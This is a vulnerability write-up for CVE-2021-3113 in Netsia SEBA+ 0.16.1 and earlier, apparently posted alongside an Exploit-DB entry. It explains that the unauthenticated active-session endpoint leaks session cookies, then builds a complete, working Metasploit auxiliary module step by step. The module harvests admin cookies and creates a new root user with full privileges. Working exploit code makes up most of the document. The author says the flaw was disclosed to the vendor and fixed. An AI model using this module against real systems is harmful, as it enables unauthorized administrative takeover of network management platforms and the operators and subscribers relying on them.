EDB-ID: 49435

CVE-2021-3113

08 Jan, 2021 • EXPLOIT

  • This vulnerability was discovered during the penetration test and worked in coordination with the vendor. Vulnerability Valid for Version 0.16.1 build # 70-e669dcd7 and previous.
  • Vendor fixed this vulnerability.
  • Exploit-DB Link
  • CVE-Mitre Link
  • Download netsia_seba_add_user.rb (Metasploit)
  • Analysis of Vulnerability

    Unfortunately, since I do not have access to the source code, I cannot show the points where the vulnerability originated.

    In the application, http requests made to the "Active Sessions" section which can be accessed by root/admin user, can be performed without the need for any session(cookie) information. Therefore, the session cookie informations of the active users in the application can be read from the response content.It's quite ironic :)

    We cannot make similar requests in other areas of the application.In other words, the only area where requests can be made without session information is the "Active Sessions" section.

    By performing the "GET /session/list/allActiveSession" request, we can obtain the authorized user cookie value by getting the session information returned in response.

    We have a cookie value. However, this session may end soon. So the best vector to attack is to create a new user :)

    So a new root user can be added to the application with the request to be made with the necessary data in the "POST /authentication-server/user/add" field.

    In the attack performed in the screenshot above, after obtaining the cookie value of the logged in users, an unauthorized attacker can create a new user with all the privileges by placing this cookie value in the user addition request as in the image below.

    As seen in the image, the http response indicates that the requested user was successfully added. Later, the attacker can easily log in to the application with this most authorized user and perform all other operations.

    Advanced Exploitation with Auxiliary Type

    Exploit modules are usually written for command execution on the system. Auxiliaries are used for types of vulnerabilities such as obtaining information from the target or exploiting vulnerability towards the target to create a new attack area.

    So this vulnerability is exactly appropriate for an Auxiliary module.

    We must specify Msf::Auxiliary
    class MetasploitModule < Msf::Auxiliary
    

    No payload generation will occur because we do not select it as Msf::Exploit::Remote.Naturally, only the operations we want to be done within the module will run and report the result.

    We will assign username and password as register options. We can use Rex::Text.rand_text_alphanumeric() function to generate random value for password. This feature will provide convenience for those who will use the exploit.

        register_options(
          [
            Opt::RPORT(443),
            OptString.new('USERNAME', [true, 'The username for your new account']),
            OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)])
          ])
    

    Auxiliaries must have a check method too. Because the module may not be desired to be used only for exploitation. It may be desirable to check if there is a vulnerability.

    We will request to "/session/list/allActiveSession" and check it according to the response.

    If "sessionId" is included in the response, it means there is an active session. If there is no "sessionId" and included "SUCCESS", it means that the application is vulnerable but there is no active session.

      def check
        begin
        res = send_request_cgi(
              'method'  => 'GET',
              'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
              )
    
        rescue
          return Exploit::CheckCode::Unknown
        end
    
        if res.code == 200 and res.body.include? 'sessionId'   
          return Exploit::CheckCode::Vulnerable
        else 
           if res.code == 200 and res.body.include? 'SUCCESS'
             print_status("Target is vulnerable! But active admin session was not found. Try again later.")
             return Exploit::CheckCode::Appears
           end
        end
    
        return Exploit::CheckCode::Safe
      end
    

    A check module as above will be sufficient for that process. We will not allow Auxiliary to run unless check module. There is no point in performing other operations for nothing if the target is not vulnerable.

        unless Exploit::CheckCode::Vulnerable == check
          fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
        end
    

    Let's write to the Exploitation part.

    First, we need to discover how many active sessions there are in the Netsia SEBA + application. Because more than one user can be active. Some of these may not be an authorized user. We need to use the most authorized active user.

    I decided to create a separate method for counting.

      def count_user(data, find_string)
        data.scan(/(?=#{find_string})/).count
      end
    

    We will specify the HTTP response as data, and find_strings will be "sessionId". In this way, the number of "sessionId" in the returned response will mean that as many users are active. Later we will need to extract these sessionId values as well.

        res = send_request_cgi(
              'method'  => 'GET',
              'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
              )
        sescount = count_user(res.body,'"name"')
        print_good("Currently #{sescount} active sessions have been detected.")
    

    The above section completes the first step. Let's extract the sessionId values now.

    The part between 'sessionId ":' and '", "action' is the value of sessionId in response. We can use the scan () function for this. ([\S\s]*?) regex will provide this operation.

    cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/)
    

    In the above process, cookies [0] will be the sessionId value of the first user, while cookies [1] will be the value of the second user. this will continue as +1.

    Now we're going to apply a very simple vector for exploitation.

    We will send a user creation request with all active cookie values. Whichever of these cookies is authorized, it will be created in the user database we want.

    I chose to use a while loop for this. For example, there are 7 active users. This loop will add +1 for the value in the cookies[int] variable and make requests with all possibilities.

        while $i <= sescount  do
           sessloop = cookies[$i]
           sessid = "SESSION=" + sessloop.to_s
           cookie = sessid.split('"]').join('').split('["').join('')
           $i +=1
           json_data=[........]
    
           res = send_request_raw({
          			         'method' => 'POST',
         			         'ctype'  => 'application/json',
          			         'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'),
                                     'cookie' => cookie,
                                     'data' => json_data
          			        })
    
         end
    

    A loop like the one above is sufficient for this vector. Finally, we need to check whether the requests made are successful.

    If the desired user is created, it will provide information and reflect the user information.

           if res.code == 200 and res.body.include? '"SUCCESS"'   
             print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.")
             print_good("Username : #{datastore["USERNAME"]}")
             print_good("Password : #{datastore["PASSWORD"]}")
             break
           end
    

    Auxiliary module completed. Let's collect all the pieces.

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Netsia SEBA+ <= 0.16.1 Authentication Bypass and Add Root User' ,
          'Description'    => %q{
            This module exploits an authentication bypass in Netsia SEBA+, triggered by add new root/admin user.
            HTTP requests made to the "Active Sessions" section which can be accessed by root/admin user, 
            can be performed without the need for any session(cookie) information. 
            Therefore, the session cookie informations of the active users in the application can be read from the response content.
            A new authorized user can be created with the obtained cookie.
          },
          'References'     =>
            [
              [ 'CVE', '' ],
              [ 'URL', 'https://www.pentest.com.tr/exploits/Netsia-SEBA-0-16-1-Authentication-Bypass-Add-Root-User-Metasploit.html' ],
              [ 'URL', 'https://www.netsia.com' ]
            ],
          'Author'         =>
            [
              'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus
            ],
          'License'        => MSF_LICENSE,
          'DisclosureDate' => "2021-01-06",
          'DefaultOptions' => { 'SSL' => true }
        ))
    
        register_options(
          [
            Opt::RPORT(443),
            OptString.new('USERNAME', [true, 'The username for your new account']),
            OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)])
          ])
      end
    
      def peer
        "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
      end
    
      def check
        begin
        res = send_request_cgi(
              'method'  => 'GET',
              'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
              )
    
        rescue
          return Exploit::CheckCode::Unknown
        end
    
        if res.code == 200 and res.body.include? 'sessionId'   
          return Exploit::CheckCode::Vulnerable
        else 
           if res.code == 200 and res.body.include? 'SUCCESS'
             print_status("Target is vulnerable! But active admin session was not found. Try again later.")
             return Exploit::CheckCode::Appears
           end
        end
    
        return Exploit::CheckCode::Safe
      end
    
      def count_user(data, find_string)
        data.scan(/(?=#{find_string})/).count
      end
    
      def run
        unless Exploit::CheckCode::Vulnerable == check
          fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
        end
    
        res = send_request_cgi(
              'method'  => 'GET',
              'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
              )
        sescount = count_user(res.body,'"name"')
        print_good("Currently #{sescount} active sessions have been detected.")
    
        cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/)
        puts cookies
        $i = 0
    
        while $i <= sescount  do
           sessloop = cookies[$i]
           sessid = "SESSION=" + sessloop.to_s
           cookie = sessid.split('"]').join('').split('["').join('')
           $i +=1
           json_data='{"data": {"password": "' + datastore["PASSWORD"] + '", "roles": [{"locations": [], "name": "admin", "permList": [{"data": ["/alarm-manager/alarm/definition/list", "/alarm-manager/alarm/active/list", "/alarm-manager/alarm/active/get", "/alarm-manager/alarm/log/list", "/alarm-manager/alarm/log/search"], "perm_key": "alarm:view"}, {"data": ["/sepon-core/profile/get/service", "/sepon-core/profile/list/service"], "perm_key": "services:view"}, {"data": ["/sepon-core/node/list/edge-ext"], "perm_key": "edge-ext:view"}, {"data": ["/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "uiconfig:view"}, {"data": ["/pal/switchinfo/list"], "perm_key": "switch:view"}, {"data": ["/asup/bbsl"], "perm_key": "asup:bbsl"}, {"data": ["/sepon-core/node/list", "/sepon-core/node/get"], "perm_key": "location:view"}, {"data": ["/pal/olt/get", "/pal/olt/nniport", "/pal/olt/ponport", "/pal/inventory/olt-list", "/sepon-core/node/list/olt", "/pal/laginfo/get"], "perm_key": "olt:view"}, {"data": ["/bbsl*/olt/reboot"], "perm_key": "olt:reboot"}, {"data": ["/sepon-core/node/delete"], "perm_key": "edge:delete"}, {"data": ["/user/add"], "perm_key": "default"}, {"data": ["/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/provision", "/bbsl*/subscriber/preprovision", "/bbsl*/subscriber/provision-subscriber", "/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/continue-provision-with-service-definition", "/bbsl*/subscriber/delete-service", "/bbsl*/subscriber/delete-services", "/bbsl*/subscriber/provision-service", "/bbsl*/subscriber/update-service-subscription"], "perm_key": "subscriptions:edit"}, {"data": ["/authentication-server/user/add", "/authentication-server/user/update"], "perm_key": "user:edit"}, {"data": ["/home/dashboard", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:edit"}, {"data": ["/sepon-core/node/delete/force"], "perm_key": "edge:forcedelete"}, {"data": ["/sepon-core/profile/delete/service"], "perm_key": "services:delete"}, {"data": ["/bbsl*/onu/provision-onu", "/bbsl*/onu/undo-provision", "/sepon-core/node/update", "/bbsl*/onu/delete-onu", "/bbsl*/onu/provision-onu", "/bbsl*/onu/update-serial", "/bbsl*/onu/onu-power"], "perm_key": "onu:edit"}, {"data": ["/alarm-manager/response-code"], "perm_key": "alarm:response-code"}, {"data": ["/authentication-server/request/list", "/authentication-server/request/search", "/authentication-server/request/count"], "perm_key": "request_history:view"}, {"data": ["/sepon-core/profile/add/service"], "perm_key": "services:edit"}, {"data": ["/authentication-server/user/delete"], "perm_key": "user:delete"}, {"data": ["/pal/speedprofile/delete", "/sepon-core/profile/delete/speed"], "perm_key": "speed_profiles:delete"}, {"data": ["/sepon-core/profile/sync/security", "/sepon-core/profile/add/sync/security", "/sepon-core/profile/delete/sync/security", "/sepon-core/profile/get/sync/security", "/sepon-core/profile/list/sync/security", "/sepon-core/profile/list/sync/security/by-profile-id", "/sepon-core/profile/list/sync/security/by-edge-id"], "perm_key": "security_profiles:sync"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:perf-query"}, {"data": ["/authentication-server/user/list", "/authentication-server/user/get"], "perm_key": "user:view"}, {"data": ["/bbsl*/onu/reboot"], "perm_key": "onu:reboot"}, {"data": ["/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/service-subscription", "/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-onu-serial-uni-no-service-name", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/uni-subscription-info-location"], "perm_key": "subscriptions:view"}, {"data": ["/pal/technologyprofile/get", "/pal/technologyprofile/list", "/sepon-core/profile/get/tech", "/sepon-core/profile/list/tech"], "perm_key": "tech_profiles:view"}, {"data": ["/authentication-server/response-code"], "perm_key": "auth:response-code"}, {"data": ["/sepon-core/node/move"], "perm_key": "location:move"}, {"data": ["/pal/olt-location/add"], "perm_key": "oltlocation:edit"}, {"data": ["/sepon-core/node/delete"], "perm_key": "location:delete"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "dashboard:view"}, {"data": ["/authentication-server/role/list", "/authentication-server/role/get"], "perm_key": "role:view"}, {"data": ["/sepon-core/profile/sync/service", "/sepon-core/profile/add/sync/service", "/sepon-core/profile/delete/sync/service", "/sepon-core/profile/get/sync/service", "/sepon-core/profile/list/sync/service", "/sepon-core/profile/list/sync/service/by-profile-id", "/sepon-core/profile/list/sync/service/by-edge-id"], "perm_key": "services:sync"}, {"data": ["/sepon-core/node/get/root", "/pal/inventory/all", "/pal/inventory/pon-port-list", "/pal/inventory/uni-list", "/pal/inventory/onu-list", "/pal/inventory/olt-list", "/pal/switchinfo/list", "/pal/inventory/olt", "/pal/inventory/olt-list", "/pal/inventory/olt-location-list", "/pal/inventory/onu", "/pal/inventory/onu-list", "/pal/inventory/onu-with-serial-number", "/pal/inventory/pon-port", "/pal/inventory/pon-port-list", "/pal/inventory/uni", "/pal/inventory/uni-list", "/pal/inventory/uni"], "perm_key": "topology:view"}, {"data": ["/bbsl*/subscriber/update-service-subscription-status"], "perm_key": "services:statuschange"}, {"data": ["/sepon-core/profile/sync/speed", "/sepon-core/profile/add/sync/speed", "/sepon-core/profile/delete/sync/speed", "/sepon-core/profile/get/sync/speed", "/sepon-core/profile/list/sync/speed", "/sepon-core/profile/list/sync/speed/by-profile-id", "/sepon-core/profile/list/sync/speed/by-edge-id"], "perm_key": "speed_profiles:sync"}, {"data": ["/bbsl*/property/add", "/bbsl*/property/update", "/bbsl*/property/delete"], "perm_key": "property:edit"}, {"data": ["/sepon-core/node/add/edge", "/sepon-core/node/refresh/edge", "/sepon-core/node/get/edge", "/sepon-core/node/update"], "perm_key": "edge:edit"}, {"data": ["/sepon-core/profile/sync/tech", "/sepon-core/profile/add/sync/tech", "/sepon-core/profile/delete/sync/tech", "/sepon-core/profile/get/sync/tech", "/sepon-core/profile/list/sync/tech", "/sepon-core/profile/list/sync/tech/by-profile-id", "/sepon-core/profile/list/sync/tech/by-edge-id"], "perm_key": "tech_profiles:sync"}, {"data": ["/bbsl*/olt/delete"], "perm_key": "olt:delete"}, {"data": ["/sepon-core/node/list/edge", "/sepon-core/node/get/edge"], "perm_key": "edge:view"}, {"data": ["/sepon-core/node/add/location", "/sepon-core/node/update"], "perm_key": "location:edit"}, {"data": ["/alarm-manager/alarm/resolve"], "perm_key": "alarm:edit"}, {"data": ["/discovery/list"], "perm_key": "discovery:view"}, {"data": ["/pal/property/get"], "perm_key": "property:view"}, {"data": ["/sepon-core/node/move"], "perm_key": "edge:move"}, {"data": ["/asup/pal"], "perm_key": "asup:pal"}, {"data": ["/authentication-server/role/delete"], "perm_key": "role:delete"}, {"data": ["/pal/switchinfo/update"], "perm_key": "topology:edit"}, {"data": ["/pal/olt-location/delete"], "perm_key": "oltlocation:delete"}, {"data": ["/bbsl*/onu/disable", "/bbsl*/onu/enable"], "perm_key": "onu:statuschange"}, {"data": ["/alarm-manager/event/definition/list", "/alarm-manager/event/log/list", "/alarm-manager/event/log/search"], "perm_key": "event:view"}, {"data": ["/pal/technologyprofile/delete", "/sepon-core/profile/delete/tech"], "perm_key": "tech_profiles:delete"}, {"data": ["/pal/speedprofile/add", "/pal/speedprofile/create", "/sepon-core/profile/add/speed"], "perm_key": "speed_profiles:edit"}, {"data": ["/authentication-server/role/add", "/authentication-server/role/update"], "perm_key": "role:edit"}, {"data": ["/edge-*"], "perm_key": "gateway-test:view"}, {"data": ["/bbsl*/olt/add", "/sepon-core/node/update"], "perm_key": "olt:edit"}, {"data": ["/service-admin"], "perm_key": "service-admin:view"}, {"data": ["/asup/seba-central"], "perm_key": "asup:core"}, {"data": ["/alarm-manager/mailNotification/add", "/alarm-manager/mailNotification/update", "/alarm-manager/mailNotification/delete"], "perm_key": "alarm-mail:edit"}, {"data": ["/pal/securityprofile/get", "/pal/securityprofile/list", "/sepon-core/profile/get/security", "/sepon-core/profile/list/security"], "perm_key": "security_profiles:view"}, {"data": ["/alarm-manager/mailNotification/list", "/alarm-manager/mailNotification/active/list", "/alarm-manager/mailNotification/get"], "perm_key": "alarm-mail:view"}, {"data": ["/bbsl*/subscriber/delete", "/bbsl*/subscriber/delete-all-subscriber", "/bbsl*/subscriber/delete-list-of-service"], "perm_key": "subscriptions:delete"}, {"data": ["/bbsl*/olt/disable", "/bbsl*/olt/enable"], "perm_key": "olt:statuschange"}, {"data": ["/authentication-server/permission/list", "/authentication-server/permission/getByUser"], "perm_key": "permission:view"}, {"data": ["/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "uiconfig:edit"}, {"data": ["/response-code"], "perm_key": "gateway:response-code"}, {"data": ["/pal/speedprofile/all", "/pal/speedprofile/get", "/pal/speedprofile/list", "/sepon-core/profile/get/speed", "/sepon-core/profile/list/speed"], "perm_key": "speed_profiles:view"}, {"data": ["/pal/ont/device", "/pal/ont/uniport", "/pal/ont/whitelist", "/pal/inventory/onu-list", "/pal/ont/stats-by-olt-number", "/pal/ont/stats-by-pon-port-number", "/pal/ont/search"], "perm_key": "onu:view"}, {"data": ["/pal/securityprofile/delete", "/sepon-core/profile/delete/security"], "perm_key": "security_profiles:delete"}, {"data": ["/pal/securityprofile/add", "/pal/securityprofile/create", "/sepon-core/profile/add/security"], "perm_key": "security_profiles:edit"}, {"data": ["/temip_integration/get_alarm_list"], "perm_key": "temip:view"}, {"data": ["/authentication-server/session/list"], "perm_key": "session:view"}, {"data": ["/stats-manager/response-code"], "perm_key": "stat:response-code"}, {"data": ["/bbsl*/onu/delete-onu"], "perm_key": "onu:delete"}, {"data": ["/pal/olt-location/get", "/pal/inventory/olt-location-list", "/sepon-core/node/list/oltLocation"], "perm_key": "oltlocation:view"}, {"data": ["/pal/technologyprofile/add", "/sepon-core/profile/add/tech"], "perm_key": "tech_profiles:edit"}]}, {"locations": [], "name": "default", "permList": [{"data": ["/user/add"], "perm_key": "default"}]}, {"locations": [{"id": 1, "name": "root"}], "name": "root", "permList": []}], "status": "ACTIVE", "username": "' + datastore["USERNAME"] + '"}}'
    
           res = send_request_raw({
          			         'method' => 'POST',
         			         'ctype'  => 'application/json',
          			         'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'),
                                     'cookie' => cookie,
                                     'data' => json_data
          			        })
    
           if res.code == 200 and res.body.include? '"SUCCESS"'   
             print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.")
             print_good("Username : #{datastore["USERNAME"]}")
             print_good("Password : #{datastore["PASSWORD"]}")
             break
           end 
         end
      end
    end
    
    

    Time to try the auxiliary module.

    Netsia has fixed the vulnerability as follows. This request can no longer be made without having an authorized cookie. Also you see session cookies filtered even if you are an authorized admin user.